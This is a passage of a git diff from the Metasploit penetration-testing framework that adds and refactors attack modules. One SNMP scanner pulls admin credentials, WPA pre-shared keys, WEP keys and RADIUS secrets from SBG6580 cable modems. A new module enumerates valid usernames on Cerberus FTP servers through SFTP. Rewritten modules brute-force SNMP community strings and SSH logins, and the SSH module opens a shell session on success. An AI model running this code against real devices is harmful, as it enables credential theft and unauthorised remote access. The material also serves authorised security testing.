= {"Host IP" => ip} + + sys_descr = snmp.get_value('sysDescr.0') + if is_valid_snmp_value(sys_descr) and sys_descr.to_s =~ /SBG6580/ + # print connected status after the first query so if there are + # any timeout or connectivity errors; the code would already + # have jumped to error handling where the error status is + # already being displayed. + print_good("#{ip}, Connected.") + + # attempt to get the username and password for the device user interface + # using the CableHome cabhPsDevMib MIB module which defines the + # basic management objects for the Portal Services (PS) logical element + # of a CableHome compliant Residential Gateway device + device_ui_selection = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.3.0') + if is_valid_snmp_value(device_ui_selection) and device_ui_selection.to_i == 1 + # manufacturerLocal(1) - indicates Portal Services is using the vendor + # web user interface shipped with the device + device_ui_username = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0') + if is_valid_snmp_value(device_ui_username) + output_data["Username"] = device_ui_username.to_s + end + + device_ui_password = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0') + if is_valid_snmp_value(device_ui_password) + output_data["Password"] = device_ui_password.to_s + end + end + + wifi_ifindex = get_primary_wifi_ifindex(snmp) + if wifi_ifindex < 1 + print_status("Primary WiFi is disabled on the device") + end + + ssid = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.#{wifi_ifindex}") + if is_valid_snmp_value(ssid) + output_data["SSID"] = ssid.to_s + end + + wireless_band = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.1.18.0') + if is_valid_snmp_value(wireless_band) + output_data["802.11 Band"] = get_wireless_band_name(wireless_band.to_i) + end + + network_auth_mode = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.5.#{wifi_ifindex}") + if is_valid_snmp_value(network_auth_mode) + network_auth_mode = network_auth_mode.to_i + network_auth_mode_name = get_network_auth_mode_name(network_auth_mode) + output_data["Network Authentication Mode"] = network_auth_mode_name + end + + case network_auth_mode + when 1, 6 + # WEP, WEP 802.1x Authentication + wep_passphrase = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.3.#{wifi_ifindex}") + if is_valid_snmp_value(wep_passphrase) + output_data["WEP Passphrase"] = wep_passphrase.to_s + end + + wep_encryption = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.2.#{wifi_ifindex}") + if is_valid_snmp_value(wep_encryption) + wep_encryption = wep_encryption.to_i + else + wep_encryption = -1 + end + + wep_encryption_name = "Unknown" + wep_key1 = wep_key2 = wep_key3 = wep_key4 = nil + # get appropriate WEP keys based on wep_encryption setting + if wep_encryption == 1 + wep_encryption_name = "64-bit" + wep_key1 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.1") + wep_key2 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.2") + wep_key3 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.3") + wep_key4 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.4") + elsif wep_encryption == 2 + wep_encryption_name = "128-bit" + wep_key1 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.1") + wep_key2 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.2") + wep_key3 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.3") + wep_key4 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.4") + end + + output_data["WEP Encryption"] = wep_encryption_name + if is_valid_snmp_value(wep_key1) + output_data["WEP Key 1"] = wep_key1.unpack('H*')[0] + end + if is_valid_snmp_value(wep_key2) + output_data["WEP Key 2"] = wep_key2.unpack('H*')[0] + end + if is_valid_snmp_value(wep_key3) + output_data["WEP Key 3"] = wep_key3.unpack('H*')[0] + end + if is_valid_snmp_value(wep_key4) + output_data["WEP Key 4"] = wep_key4.unpack('H*')[0] + end + + # get current network key + current_key = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.1.#{wifi_ifindex}") + if is_valid_snmp_value(current_key) + output_data["Current Network Key"] = current_key.to_s + end + + if network_auth_mode == 6 + get_radius_info(snmp, wifi_ifindex, output_data) + end + + when 2, 3, 4, 5, 7, 8 + # process all flavors of WPA + wpa_encryption = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.1.#{wifi_ifindex}") + if is_valid_snmp_value(wpa_encryption) + output_data["WPA Encryption"] = get_wpa_encryption_name(wpa_encryption.to_i) + end + + wpa_psk = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.2.#{wifi_ifindex}") + if is_valid_snmp_value(wpa_psk) + output_data["WPA Pre-Shared Key (PSK)"] = wpa_psk.to_s + end + + case network_auth_mode + when 4, 5, 8 + get_radius_info(snmp, wifi_ifindex, output_data) + end + end + + # output + print_line("") + print_status("Device information:\n") + line = "" + width = 30 # name field width + + fields_order.each {|k| + if not output_data.has_key?(k) + next + end + + v = output_data[k] + if (v.nil? or v.empty? or v =~ /Null/) + v = '-' + end + + report_note( + :host => ip, + :proto => 'udp', + :sname => 'snmp', + :port => datastore['RPORT'].to_i, + :type => "snmp.#{k}", + :data => v + ) + + line << sprintf("%s%s: %s\n", k, " "*([0,width-k.length].max), v) + } + + print_line(line) + else + print_error("#{ip} does not appear to be a SBG6580.") + end + + rescue SNMP::RequestTimeout + print_error("#{ip} SNMP request timeout.") + rescue Rex::ConnectionError + print_error("#{ip} Connection refused.") + rescue SNMP::InvalidIpAddress + print_error("#{ip} Invalid IP Address. Check it with 'snmpwalk tool'.") + rescue SNMP::UnsupportedVersion + print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.") + rescue ::Interrupt + raise $! + rescue ::Exception => e + print_error("Unknown error: #{e.class} #{e}") + elog("Unknown error: #{e.class} #{e}") + elog("Call stack:\n#{e.backtrace.join "\n"}") + ensure + disconnect_snmp + end + end + + def get_primary_wifi_ifindex(snmp) + # The ifTable contains interface entries where each row represents + # management information for a particular interface. Locate the first + # interface where ifType is 71 (ieee80211) and ifAdminStatus is 1 (up). + wifi_ifindex = 0 + ifTable_columns = ["ifIndex", "ifDescr", "ifType", "ifAdminStatus"] + snmp.walk(ifTable_columns) do |ifIndex, ifDescr, ifType, ifAdminStatus| + if (wifi_ifindex < 1 and ifType.value == 71 and ifAdminStatus.value == 1) + wifi_ifindex = ifIndex.value.to_i + end + end + wifi_ifindex + end + + def is_valid_snmp_value(value) + if value.nil? or value.to_s =~ /Null/ or value.to_s =~ /^noSuch/ + return false + end + return true + end + + def get_network_auth_mode_name(network_auth_mode) + case network_auth_mode + when 0 + "Open Security" + when 1 + "WEP" + when 2 + "WPA-PSK" + when 3 + "WPA2-PSK" + when 4 + "WPA RADIUS" + when 5 + "WPA2 RADIUS" + when 6 + "WEP 802.1x Authentication" + when 7 + "WPA-PSK and WPA2-PSK" + when 8 + "WPA and WPA2 RADIUS" + else + "Unknown" + end + end + + def get_wireless_band_name(wireless_band) + case wireless_band + when 1 + "2.4 Ghz" + when 2 + "5 Ghz" + else + "Unknown" + end + end + + def get_wpa_encryption_name(wpa_encryption) + case wpa_encryption + when 2 + "AES" + when 3 + "TKIP+AES" + else + "Unknown" + end + end + + def get_radius_info(snmp, wifi_ifindex, output_data) + radius_server = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.2.#{wifi_ifindex}") + if is_valid_snmp_value(radius_server) + output_data["RADIUS Server"] = radius_server.unpack("C4").join(".") + end + + radius_port = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.3.#{wifi_ifindex}") + if is_valid_snmp_value(radius_port) + output_data["RADIUS Port"] = radius_port.to_s.strip + end + + radius_key = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.4.#{wifi_ifindex}") + if is_valid_snmp_value(radius_key) + output_data["RADIUS Key"] = radius_key.to_s + end + end + +end diff --git a/modules/auxiliary/scanner/snmp/snmp_enum.rb b/modules/auxiliary/scanner/snmp/snmp_enum.rb index 595c6dd28c..3d82c713a0 100644 --- a/modules/auxiliary/scanner/snmp/snmp_enum.rb +++ b/modules/auxiliary/scanner/snmp/snmp_enum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/snmp/snmp_enum_hp_laserjet.rb b/modules/auxiliary/scanner/snmp/snmp_enum_hp_laserjet.rb index be8dc52a9c..dd54f5cd9e 100644 --- a/modules/auxiliary/scanner/snmp/snmp_enum_hp_laserjet.rb +++ b/modules/auxiliary/scanner/snmp/snmp_enum_hp_laserjet.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/snmp/snmp_enumshares.rb b/modules/auxiliary/scanner/snmp/snmp_enumshares.rb index 52e407a99a..8886a67ae8 100644 --- a/modules/auxiliary/scanner/snmp/snmp_enumshares.rb +++ b/modules/auxiliary/scanner/snmp/snmp_enumshares.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/snmp/snmp_enumusers.rb b/modules/auxiliary/scanner/snmp/snmp_enumusers.rb index 9a8a5bf3c5..03c058eb48 100644 --- a/modules/auxiliary/scanner/snmp/snmp_enumusers.rb +++ b/modules/auxiliary/scanner/snmp/snmp_enumusers.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/snmp/snmp_login.rb b/modules/auxiliary/scanner/snmp/snmp_login.rb index d16e1cfbe6..2a1b1bed56 100644 --- a/modules/auxiliary/scanner/snmp/snmp_login.rb +++ b/modules/auxiliary/scanner/snmp/snmp_login.rb @@ -1,12 +1,12 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' -require 'openssl' -require 'snmp' +require 'metasploit/framework/community_string_collection' +require 'metasploit/framework/login_scanner/snmp' class Metasploit3 < Msf::Auxiliary @@ -49,260 +49,45 @@ class Metasploit3 < Msf::Auxiliary # Operate on an entire batch of hosts at once def run_batch(batch) - @found = {} - @tried = [] - - begin - udp_sock = nil - idx = 0 - - # Create an unbound UDP socket if no CHOST is specified, otherwise - # create a UDP socket bound to CHOST (in order to avail of pivoting) - udp_sock = Rex::Socket::Udp.create( { 'LocalHost' => datastore['CHOST'] || nil, 'Context' => {'Msf' => framework, 'MsfExploit' => self} }) - add_socket(udp_sock) - - each_user_pass do |user, pass| - comm = pass - - data1 = create_probe_snmp1(comm) - data2 = create_probe_snmp2(comm) - - batch.each do |ip| - fq_pass = [ip,pass] - next if @tried.include? fq_pass - @tried << fq_pass - vprint_status "#{ip}:#{datastore['RPORT']} - SNMP - Trying #{(pass.nil? || pass.empty?) ? "<BLANK>" : pass}..." - - begin - udp_sock.sendto(data1, ip, datastore['RPORT'].to_i, 0) - udp_sock.sendto(data2, ip, datastore['RPORT'].to_i, 0) - rescue ::Interrupt - raise $! - rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused - nil - end - - if (idx % 10 == 0) - while (r = udp_sock.recvfrom(65535, 0.25) and r[1]) - parse_reply(r) - end - end - - idx += 1 - - end - end - - idx = 0 - while (r = udp_sock.recvfrom(65535, 3) and r[1] and idx < 500) - parse_reply(r) - idx += 1 - end - - if @found.keys.length > 0 - print_status("Validating scan results from #{@found.keys.length} hosts...") - end - - # Review all successful communities and determine write access - @found.keys.sort.each do |host| - fake_comm = Rex::Text.rand_text_alphanumeric(8) - anycomm_ro = false - anycomm_rw = false - comms_ro = [] - comms_rw = [] - finished = false - versions = ["1", "2"] - - versions.each do |version| - comms_todo = @found[host].keys.sort - comms_todo.unshift(fake_comm) - - comms_todo.each do |comm| - begin - sval = nil - snmp = snmp_client(host, datastore['RPORT'].to_i, version, udp_sock, comm) - resp = snmp.get("sysName.0") - resp.each_varbind { |var| sval = var.value } - next if not sval - - svar = ::SNMP::VarBind.new("1.3.6.1.2.1.1.5.0", ::SNMP::OctetString.new(sval)) - resp = snmp.set(svar) - - if resp.error_status == :noError - comms_rw << comm - print_status("Host #{host} provides READ-WRITE access with community '#{comm}'") - if comm == fake_comm - anycomm_rw = true - finished = true - break - end - else - comms_ro << comm - print_status("Host #{host} provides READ-ONLY access with community '#{comm}'") - if comm == fake_comm - anycomm_ro = true - finished = true - break - end - end - - # Used to flag whether this version was compatible - finished = true - - rescue ::SNMP::UnsupportedPduTag, ::SNMP::InvalidPduTag, ::SNMP::ParseError, - ::SNMP::InvalidErrorStatus, ::SNMP::InvalidTrapVarbind, ::SNMP::InvalidGenericTrap, - ::SNMP::BER::OutOfData, ::SNMP::BER::InvalidLength, ::SNMP::BER::InvalidTag, - ::SNMP::BER::InvalidObjectId, ::SNMP::MIB::ModuleNotLoadedError, - ::SNMP::UnsupportedValueTag - next - - rescue ::SNMP::UnsupportedVersion - break - rescue ::SNMP::RequestTimeout - next - end - end - - break if finished - end - - # Report on the results - comms_ro = ["anything"] if anycomm_ro - comms_rw = ["anything"] if anycomm_rw - - comms_rw.each do |comm| - report_auth_info( - :host => host, - :port => datastore['RPORT'].to_i, - :proto => 'udp', - :sname => 'snmp', - :user => '', - :pass => comm, - :duplicate_ok => true, - :active => true, - :source_type => "user_supplied", - :type => "password" - ) - end - - comms_ro.each do |comm| - report_auth_info( - :host => host, - :port => datastore['RPORT'].to_i, - :proto => 'udp', - :sname => 'snmp', - :user => '', - :pass => comm, - :duplicate_ok => true, - :active => true, - :source_type => "user_supplied", - :type => "password_ro" - ) - end - end - - rescue ::Interrupt - raise $! - rescue ::Exception => e - print_error("Unknown error: #{e.class} #{e}") - end - - end - - # - # Allocate a SNMP client using the existing socket - # - def snmp_client(host, port, version, socket, community) - version = :SNMPv1 if version == "1" - version = :SNMPv2c if version == "2c" - - snmp = ::SNMP::Manager.new( - :Host => host, - :Port => port, - :Community => community, - :Version => version, - :Timeout => 1, - :Retries => 2, - :Transport => SNMP::RexUDPTransport, - :Socket => socket - ) - end - - # - # The response parsers - # - def parse_reply(pkt) - - return if not pkt[1] - - if(pkt[1] =~ /^::ffff:/) - pkt[1] = pkt[1].sub(/^::ffff:/, '') - end - - asn = OpenSSL::ASN1.decode(pkt[0]) rescue nil - return if not asn - - snmp_error = asn.value[0].value rescue nil - snmp_comm = asn.value[1].value rescue nil - snmp_data = asn.value[2].value[3].value[0] rescue nil - snmp_oid = snmp_data.value[0].value rescue nil - snmp_info = snmp_data.value[1].value rescue nil - - return if not (snmp_error and snmp_comm and snmp_data and snmp_oid and snmp_info) - snmp_info = snmp_info.to_s.gsub(/\s+/, ' ') - - inf = snmp_info - com = snmp_comm - - if(com) - @found[pkt[1]]||={} - if(not @found[pkt[1]][com]) - print_good("SNMP: #{pkt[1]} community string: '#{com}' info: '#{inf}'") - @found[pkt[1]][com] = inf - end - - report_service( - :host => pkt[1], - :port => pkt[2], - :proto => 'udp', - :name => 'snmp', - :info => inf, - :state => "open" + batch.each do |ip| + collection = Metasploit::Framework::CommunityStringCollection.new( + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'] ) + + scanner = Metasploit::Framework::LoginScanner::SNMP.new( + host: ip, + port: rport, + cred_details: collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: 2 + ) + + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id + ) + if result.success? + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" + else + invalidate_login(credential_data) + vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" + end + end end end - - def create_probe_snmp1(name) - xid = rand(0x100000000) - pdu = - "\x02\x01\x00" + - "\x04" + [name.length].pack('c') + name + - "\xa0\x1c" + - "\x02\x04" + [xid].pack('N') + - "\x02\x01\x00" + - "\x02\x01\x00" + - "\x30\x0e\x30\x0c\x06\x08\x2b\x06\x01\x02\x01" + - "\x01\x01\x00\x05\x00" - head = "\x30" + [pdu.length].pack('C') - data = head + pdu - data + def rport + datastore['RPORT'] end - def create_probe_snmp2(name) - xid = rand(0x100000000) - pdu = - "\x02\x01\x01" + - "\x04" + [name.length].pack('c') + name + - "\xa1\x19" + - "\x02\x04" + [xid].pack('N') + - "\x02\x01\x00" + - "\x02\x01\x00" + - "\x30\x0b\x30\x09\x06\x05\x2b\x06\x01\x02\x01" + - "\x05\x00" - head = "\x30" + [pdu.length].pack('C') - data = head + pdu - data - end + + end diff --git a/modules/auxiliary/scanner/snmp/snmp_set.rb b/modules/auxiliary/scanner/snmp/snmp_set.rb index a16f32693c..edd07e2785 100644 --- a/modules/auxiliary/scanner/snmp/snmp_set.rb +++ b/modules/auxiliary/scanner/snmp/snmp_set.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/snmp/ubee_ddw3611.rb b/modules/auxiliary/scanner/snmp/ubee_ddw3611.rb index ab88d07bfb..40453b7662 100644 --- a/modules/auxiliary/scanner/snmp/ubee_ddw3611.rb +++ b/modules/auxiliary/scanner/snmp/ubee_ddw3611.rb @@ -1,5 +1,5 @@ # -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/snmp/xerox_workcentre_enumusers.rb b/modules/auxiliary/scanner/snmp/xerox_workcentre_enumusers.rb index ee843e1c08..c6cf8702bd 100644 --- a/modules/auxiliary/scanner/snmp/xerox_workcentre_enumusers.rb +++ b/modules/auxiliary/scanner/snmp/xerox_workcentre_enumusers.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/ssh/cerberus_sftp_enumusers.rb b/modules/auxiliary/scanner/ssh/cerberus_sftp_enumusers.rb new file mode 100644 index 0000000000..708447987d --- /dev/null +++ b/modules/auxiliary/scanner/ssh/cerberus_sftp_enumusers.rb @@ -0,0 +1,214 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'net/ssh' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Cerberus FTP Server SFTP Username Enumeration', + 'Description' => %q{ + This module uses a dictionary to brute force valid usernames from + Cerberus FTP server via SFTP. This issue affects all versions of + the software older than 6.0.9.0 or 7.0.0.2 and is caused by a discrepancy + in the way the SSH service handles failed logins for valid and invalid + users. This issue was discovered by Steve Embling. + }, + 'Author' => [ + 'Steve Embling', # Discovery + 'Matt Byrne <attackdebris[at]gmail.com>' # Metasploit module + ], + 'References' => + [ + [ 'URL', 'http://xforce.iss.net/xforce/xfdb/93546' ], + [ 'BID', '67707'] + ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => 'May 27 2014' + )) + + register_options( + [ + Opt::Proxies, + Opt::RPORT(22), + OptPath.new( + 'USER_FILE', + [true, 'Files containing usernames, one per line', nil]) + ], self.class + ) + + register_advanced_options( + [ + OptInt.new( + 'RETRY_NUM', + [true , 'The number of attempts to connect to a SSH server for each user', 3]), + OptInt.new( + 'SSH_TIMEOUT', + [true, 'Specify the maximum time to negotiate a SSH session', 10]), + OptBool.new( + 'SSH_DEBUG', + [true, 'Enable SSH debugging output (Extreme verbosity!)', false]) + ] + ) + end + + def rport + datastore['RPORT'] + end + + def retry_num + datastore['RETRY_NUM'] + end + + def check_vulnerable(ip) + options = { + :port => rport, + :auth_methods => ['password', 'keyboard-interactive'], + :msframework => framework, + :msfmodule => self, + :disable_agent => true, + :config => false, + :proxies => datastore['Proxies'] + } + + begin + transport = Net::SSH::Transport::Session.new(ip, options) + rescue Rex::ConnectionError, Rex::AddressInUse + return :connection_error + end + + auth = Net::SSH::Authentication::Session.new(transport, options) + auth.authenticate("ssh-connection", Rex::Text.rand_text_alphanumeric(8), Rex::Text.rand_text_alphanumeric(8)) + auth_method = auth.allowed_auth_methods.join('|') + print_status "#{peer(ip)} Server Version: #{auth.transport.server_version.version}" + report_service( + :host => ip, + :port => rport, + :name => "ssh", + :proto => "tcp", + :info => auth.transport.server_version.version + ) + + if auth_method.empty? + :vulnerable + else + :safe + end + end + + def check_user(ip, user, port) + pass = Rex::Text.rand_text_alphanumeric(8) + + opt_hash = { + :auth_methods => ['password', 'keyboard-interactive'], + :msframework => framework, + :msfmodule => self, + :port => port, + :disable_agent => true, + :config => false, + :proxies => datastore['Proxies'] + } + + opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] + transport = Net::SSH::Transport::Session.new(ip, opt_hash) + auth = Net::SSH::Authentication::Session.new(transport, opt_hash) + + begin + ::Timeout.timeout(datastore['SSH_TIMEOUT']) do + auth.authenticate("ssh-connection", user, pass) + auth_method = auth.allowed_auth_methods.join('|') + if auth_method != '' + :success + else + :fail + end + end + rescue Rex::ConnectionError, Rex::AddressInUse + return :connection_error + rescue Net::SSH::Disconnect, ::EOFError + return :success + rescue ::Timeout::Error + return :connection_error + end + end + + def do_report(ip, user, port) + report_auth_info( + :host => ip, + :port => rport, + :sname => 'ssh', + :user => user, + :active => true + ) + end + + def peer(rhost=nil) + "#{rhost}:#{rport} SSH -" + end + + def user_list + users = nil + if File.readable? datastore['USER_FILE'] + users = File.new(datastore['USER_FILE']).read.split + users.each {|u| u.downcase!} + users.uniq! + else + raise ArgumentError, "Cannot read file #{datastore['USER_FILE']}" + end + + users + end + + def attempt_user(user, ip) + attempt_num = 0 + ret = nil + + while (attempt_num <= retry_num) && (ret.nil? || ret == :connection_error) + if attempt_num > 0 + Rex.sleep(2 ** attempt_num) + print_debug "#{peer(ip)} Retrying '#{user}' due to connection error" + end + + ret = check_user(ip, user, rport) + attempt_num += 1 + end + + ret + end + + def show_result(attempt_result, user, ip) + case attempt_result + when :success + print_good "#{peer(ip)} User '#{user}' found" + do_report(ip, user, rport) + when :connection_error + print_error "#{peer(ip)} User '#{user}' could not connect" + when :fail + vprint_status "#{peer(ip)} User '#{user}' not found" + end + end + + def run_host(ip) + print_status "#{peer(ip)} Checking for vulnerability" + case check_vulnerable(ip) + when :vulnerable + print_good "#{peer(ip)} Vulnerable" + print_status "#{peer(ip)} Starting scan" + user_list.each do |user| + show_result(attempt_user(user, ip), user, ip) + end + when :safe + print_error "#{peer(ip)} Not vulnerable" + when :connection_error + print_error "#{peer(ip)} Connection failed" + end + end +end + diff --git a/modules/auxiliary/scanner/ssh/ssh_enumusers.rb b/modules/auxiliary/scanner/ssh/ssh_enumusers.rb index 374d15b2ca..bf77ecc502 100644 --- a/modules/auxiliary/scanner/ssh/ssh_enumusers.rb +++ b/modules/auxiliary/scanner/ssh/ssh_enumusers.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -32,6 +32,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ + Opt::Proxies, Opt::RPORT(22), OptPath.new('USER_FILE', [true, 'File containing usernames, one per line', nil]), diff --git a/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb b/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb index cf096ba2bc..8f35117c9b 100644 --- a/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb +++ b/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/ssh/ssh_login.rb b/modules/auxiliary/scanner/ssh/ssh_login.rb index b08a3e55cb..51ed18c69e 100644 --- a/modules/auxiliary/scanner/ssh/ssh_login.rb +++ b/modules/auxiliary/scanner/ssh/ssh_login.rb @@ -1,19 +1,20 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'net/ssh' +require 'metasploit/framework/login_scanner/ssh' +require 'metasploit/framework/credential_collection' class Metasploit3 < Msf::Auxiliary - include Msf::Auxiliary::Scanner include Msf::Auxiliary::AuthBrute include Msf::Auxiliary::Report include Msf::Auxiliary::CommandShell - attr_accessor :ssh_socket, :good_credentials + include Msf::Auxiliary::Scanner def initialize super( @@ -40,152 +41,113 @@ class Metasploit3 < Msf::Auxiliary register_advanced_options( [ + Opt::Proxies, OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30]) ] ) - deregister_options('RHOST') - - @good_credentials = {} - end def rport datastore['RPORT'] end - def do_login(ip,user,pass,port) - opt_hash = { - :auth_methods => ['password','keyboard-interactive'], - :msframework => framework, - :msfmodule => self, - :port => port, - :disable_agent => true, - :password => pass, - :config => false, - :proxies => datastore['Proxies'] + def session_setup(result, ssh_socket) + return unless ssh_socket + + # Create a new session + conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/sh', true) + + merge_me = { + 'USERPASS_FILE' => nil, + 'USER_FILE' => nil, + 'PASS_FILE' => nil, + 'USERNAME' => result.credential.public, + 'PASSWORD' => result.credential.private } + info = "#{proto_from_fullname} #{result.credential} (#{@ip}:#{rport})" + s = start_session(self, info, merge_me, false, conn.lsock) - opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] - - begin - ::Timeout.timeout(datastore['SSH_TIMEOUT']) do - self.ssh_socket = Net::SSH.start( - ip, - user, - opt_hash - ) - end - rescue Rex::ConnectionError, Rex::AddressInUse - return :connection_error - rescue Net::SSH::Disconnect, ::EOFError - return :connection_disconnect - rescue ::Timeout::Error - return :connection_disconnect - rescue Net::SSH::Exception - return [:fail,nil] # For whatever reason. Can't tell if passwords are on/off without timing responses. + # Set the session platform + case result.proof + when /Linux/ + s.platform = "linux" + when /Darwin/ + s.platform = "osx" + when /SunOS/ + s.platform = "solaris" + when /BSD/ + s.platform = "bsd" + when /HP-UX/ + s.platform = "hpux" + when /AIX/ + s.platform = "aix" + when /Win32|Windows/ + s.platform = "windows" + when /Unknown command or computer name/ + s.platform = "cisco-ios" end - if self.ssh_socket - proof = '' - begin - Timeout.timeout(5) do - proof = self.ssh_socket.exec!("id\n").to_s - if(proof =~ /id=/) - proof << self.ssh_socket.exec!("uname -a\n").to_s - else - # Cisco IOS - if proof =~ /Unknown command or computer name/ - proof = self.ssh_socket.exec!("ver\n").to_s - else - proof << self.ssh_socket.exec!("help\n?\n\n\n").to_s - end - end - end - rescue ::Exception - end - - # Create a new session - conn = Net::SSH::CommandStream.new(self.ssh_socket, '/bin/sh', true) - - merge_me = { - 'USERPASS_FILE' => nil, - 'USER_FILE' => nil, - 'PASS_FILE' => nil, - 'USERNAME' => user, - 'PASSWORD' => pass - } - info = "#{proto_from_fullname} #{user}:#{pass} (#{ip}:#{port})" - s = start_session(self, info, merge_me, false, conn.lsock) - - # Set the session platform - case proof - when /Linux/ - s.platform = "linux" - when /Darwin/ - s.platform = "osx" - when /SunOS/ - s.platform = "solaris" - when /BSD/ - s.platform = "bsd" - when /HP-UX/ - s.platform = "hpux" - when /AIX/ - s.platform = "aix" - when /Win32|Windows/ - s.platform = "windows" - when /Unknown command or computer name/ - s.platform = "cisco-ios" - end - return [:success, proof] - else - return [:fail, nil] - end + s end - def do_report(ip,user,pass,port,proof) - report_auth_info( - :host => ip, - :port => rport, - :sname => 'ssh', - :user => user, - :pass => pass, - :proof => proof, - :source_type => "user_supplied", - :active => true - ) - end def run_host(ip) + @ip = ip print_brute :ip => ip, :msg => "Starting bruteforce" - each_user_pass do |user, pass| - print_brute :level => :vstatus, - :ip => ip, - :msg => "Trying: username: '#{user}' with password: '#{pass}'" - this_attempt ||= 0 - ret = nil - while this_attempt <=3 and (ret.nil? or ret == :connection_error or ret == :connection_disconnect) - if this_attempt > 0 - select(nil,nil,nil,2**this_attempt) - print_brute :level => :verror, :ip => ip, :msg => "Retrying '#{user}':'#{pass}' due to connection error" - end - ret,proof = do_login(ip,user,pass,rport) - this_attempt += 1 - end - case ret - when :success - print_brute :level => :good, :ip => ip, :msg => "Success: '#{user}':'#{pass}' '#{proof.to_s.gsub(/[\r\n\e\b\a]/, ' ')}'" - do_report(ip,user,pass,rport,proof) + + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + 